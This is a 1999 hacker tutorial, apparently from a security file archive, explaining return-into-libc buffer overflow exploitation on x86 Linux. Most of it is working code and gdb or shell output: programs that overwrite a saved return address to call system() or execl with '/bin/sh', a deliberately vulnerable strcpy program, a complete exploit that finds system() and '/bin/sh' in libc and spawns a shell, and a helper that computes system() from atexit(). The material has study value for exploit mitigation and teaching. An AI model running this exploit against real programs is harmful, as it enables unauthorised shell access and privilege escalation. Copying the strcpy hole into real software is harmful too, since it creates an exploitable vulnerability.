what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

omega.txt

omega.txt
Posted Oct 22, 1999
Authored by Lamagra

Tutorial on a new way of exploiting buffer overflows (ret-into-libc).

tags | paper, overflow
systems | unix
SHA-256 | 71f6c76b0584c12d0217a57f3052e0e21eedfa5cd3d63661e5ed666690b0ac17

omega.txt

Change Mirror Download
      The OMEGA project finished
+=+-+=+-+=+-+=+-+=+-+=+-+=+-+=+-+=
By lamagra <lamagra@uglypig.org>


---[ Flashback

In my previous paper, i explained why and a little bit about how.
There were some difficulties:
o sending arguments to the system() call.
(we fixed this using an other program to link the garbage to a shell.)


---[ Examination of a program flow

We take this little example program to examine the flow.

<++> omega/example.c
void foo(char *bla)
{
printf("I got passed %p\n",bla);
}

void main()
{
foo("fubar");
}
<-->

We compile and fire up gdb.

darkstar:~/omega$ gcc example.c -o example
darkstar:~/omega$ gdb example

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048594 <main>: pushl %ebp
0x8048595 <main+1>: movl %esp,%ebp
0x8048597 <main+3>: pushl $0x8049099
0x804859c <main+8>: call 0x804857c <foo>
0x80485a1 <main+13>: addl $0x4,%esp
0x80485a4 <main+16>: movl %ebp,%esp
0x80485a6 <main+18>: popl %ebp
0x80485a7 <main+19>: ret
End of assembler dump.
(gdb) x/5bc 0x8049099
0x8049099 <_fini+25>: 102 'f' 117 'u' 98 'b' 97 'a' 114 'r'
(gdb) disassemble foo
Dump of assembler code for function foo:
0x804857c <foo>: pushl %ebp
0x804857d <foo+1>: movl %esp,%ebp
0x804857f <foo+3>: movl 0x8(%ebp),%eax
0x8048582 <foo+6>: pushl %eax
0x8048583 <foo+7>: pushl $0x8049088
0x8048588 <foo+12>: call 0x8048400 <printf>
0x804858d <foo+17>: addl $0x8,%esp
0x8048590 <foo+20>: movl %ebp,%esp
0x8048592 <foo+22>: popl %ebp
0x8048593 <foo+23>: ret
End of assembler dump.
(gdb) quit
darkstar:~/omega$


We notice the address of our "fubar" string getting pushed on the stack
at 0x8048597. After that the foo function is called (0x804859c).
After initialisation foo() loads the pushed address into the eax register
as we can see at 0x804857f. The address is located on 0x8(%ebp), ebp is
the current stack pointer.

---[ Implementation

With the previous in mind we write a small test program.

<++> omega/test.c
/*
* A small test program for project "omega"
* Lamagra <lamagra@uglypig.org>
*/

foo(char *bla)
{
printf("foo: %p\n",bla);
printf("foo: %s \n",bla);
}


main()
{
char bla[8];
char *shell = "/bin/sh";
long addy = 0x41414141;

printf("foo = 0x%x\n",(long)&foo);
printf("bla = 0x%x\n",(long)&bla);
printf("shell = 0x%x\n",shell);

*(long *)&bla[0] = addy; /* buffer */
*(long *)&bla[4] = addy; /* buffer */
*(long *)&bla[8] = addy; /* saved ebp */
*(long *)&bla[12] = &foo; /* saved eip */
*(long *)&bla[16] = addy; /* Junk */
*(long *)&bla[20] = shell; /* address of the arg */
}
<-->

The comment explain the use pretty clear, so read them.
Afterwards compile and run.

darkstar:~/omega$ gcc test.c -otest
darkstar:~/omega$ test
foo = 0x804857c
bla = 0xbffffb08
shell = 0x8049111
foo: 0x8049111
foo: /bin/sh
segmentation fault
darkstar:~/omega$

The foo function gets called and its argument is placed correctly.
But after execution it segfaults, let's debug it and find out why.

darkstar:~/omega$ gdb test

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) break *foo
Breakpoint 1 at 0x804857c
(gdb) run
Starting program: /tmp/omega/hello
foo = 0x804857c
bla = 0xbffffb10
shell = 0x8049111

Breakpoint 1, 0x804857c in foo ()
(gdb) x/10wx 0xbffffb10
0xbffffb10: 0x41414141 0x41414141 0x41414141 0x0804857c
0xbffffb20: 0x41414141 0x08049111 0xbffffb44 0x00000000
0xbffffb30: 0x00000000 0x00000000
(gdb) c
Continuing.
foo: 0x8049111
foo: /bin/sh

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp
ebp 0x41414141 0x41414141
(gdb) info reg esp
esp 0xbffffb24 0xbffffb24
(gdb) quit
The program is running. Exit anyway? (y or n) y
darkstar:~/omega$

The dumb of buffer "bla" shows our intentions very clearly.
The segfault happens because the program tries to execute 0x41414141.
That address is at 0xbffffb20. When returning from foo() ebp and eip are
poped from the stack at the location pointed to by esp.
If we wanted to put right the segfault, we could put an other address in
there (eg. exit()), so it has a clean exit.

Apply this patch to fix it (patch test.c test.patch).

<++> omega/test.patch
--- old.c Wed Oct 6 18:49:07 1999
+++ test.c Wed Oct 6 18:49:25 1999
@@ -19,6 +19,6 @@
*(long *)&bla[4] = addr; /* buffer */
*(long *)&bla[8] = addr; /* saved ebp */
*(long *)&bla[12] = &foo; /* saved eip */
- *(long *)&bla[16] = addr; /* Junk */
+ *(long *)&bla[16] = &exit; /* exit() */
*(long *)&bla[20] = shell; /* address of the arg */
}
<-->

Same thing can be done for multiple arguments.
0x8(%ebp) = arg[1]
0xc(%ebp) = arg[2]
0x10(%ebp) = arg[3]
and so on.

<++> omega/multiple.c
#include <stdlib.h>
#include <unistd.h>

main()
{
char bla[8];
char *shell = "/bin/sh";
long addr = 0x41414141;

printf("bla = 0x%x\n",(long)&bla);
printf("shell = 0x%x\n",shell);

*(long *)&bla[0] = addr; /* buffer */
*(long *)&bla[4] = addr; /* buffer */
*(long *)&bla[8] = addr; /* saved ebp */
*(long *)&bla[12] = &execl; /* saved eip */
*(long *)&bla[16] = &exit; /* exit() */
*(long *)&bla[20] = shell; /* arg[1] */
*(long *)&bla[24] = shell; /* arg[2] */
*(long *)&bla[28] = 0x0; /* arg[3] */
/*
* Executes execl("/bin/sh","/bin/sh",0x0);
* On error exit("/bin/sh"); i know weird */
*/
}
<-->


Now we can exploit a bufferoverflow in a secure environement.
What about in the wild?

<++> omega/hole.c
/*
* The hole program.
* Prints the address of system() in libc and overflows.
*/
#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
char buf[8];
long addr;
void *handle;

handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");
printf("System() is at 0x%x\n",addr);

if(argc > 1) strcpy(buf, argv[1]);
}
<-->

<++> omega/exploit.c
/*
* The exploit
* Finds the address of system() in libc.
* Searches for "/bin/sh" in the neighbourhood of system().
* (System() uses that string)
* Lamagra <lamagra@uglypig.org>
*/

#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
int x,size;
char *buf;
long addr,shell,exitaddy;
void *handle;

if(argc != 3){
printf("Usage %s <bufsize> <program>\n",argv[0]);
exit(-1);
}

size = atoi(argv[1])+16;
if((buf = malloc(size)) == NULL){
perror("can't allocate memory");
exit(-1);
}

handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");
printf("System() is at 0x%x\n",addr);

if(!(addr & 0xff) || !(addr & 0xff00) ||
!(addr & 0xff0000) || !(addr & 0xff000000))
{
printf("system() contains a '0', sorry!");
exit(-1);
}

shell = addr;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;

printf("\"/bin/sh\" is at 0x%x\n",shell);
printf("print %s\n",shell);

memset(buf,0x41,size);
*(long *)&buf[size-16] = 0xbffffbbc;
*(long *)&buf[size-12] = addr;
*(long *)&buf[size-4] = shell;

puts("Executing");

execl(argv[2],argv[2],buf,0x0);
}
<-->

darkstar:~/omega$ gcc hole.c -ohole -ldl
darkstar:~/omega$ gcc omega.c -oomega -ldl
darkstar:~/omega$ omega 8 vun
System() is at 0x40043a18
"/bin/sh" is at 0x40089d26
print /bin/sh
Executing
System() is at 0x40043a18
bash#

Looks like it works.
But as you may have noticed an extra library is linked for this methode.
That's why it doesn't work on programs that don't have that library
linked: because the location of system() is different.

There are other methodes to get the correct address:

o Changing the program to let it print out the address (more or
less the same)

o Getting the address from the ELF-headers. ( I think this doesn't
work on stripped files, solution recompile)

o getting the address of atexit() (always available) and calculate
the address of system(). Check out included program.

---[ Extra

<++> omega/calc.c
#include <stdlib.h>
#include <unistd.h>

main(int argc, char **argv)
{
long addy,diff;

if (argc != 2)
{
printf("Usage: %s <addy of atexit>\n",argv[0]);
printf("Get the address with GDB\n\t$ echo x atexit|gdb program\n");
exit(-1);
}

addy = strtoul(argv[1],0,0);
printf("Input = 0x%x\n",addy);

diff = (long)&atexit - (long)&system;
printf("system() = 0x%x\n",addy - diff + 16);
}
<-->
---[ Reference

my previous paper in corezine #2 (http://bounce.to/unah16)


---[EOF

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close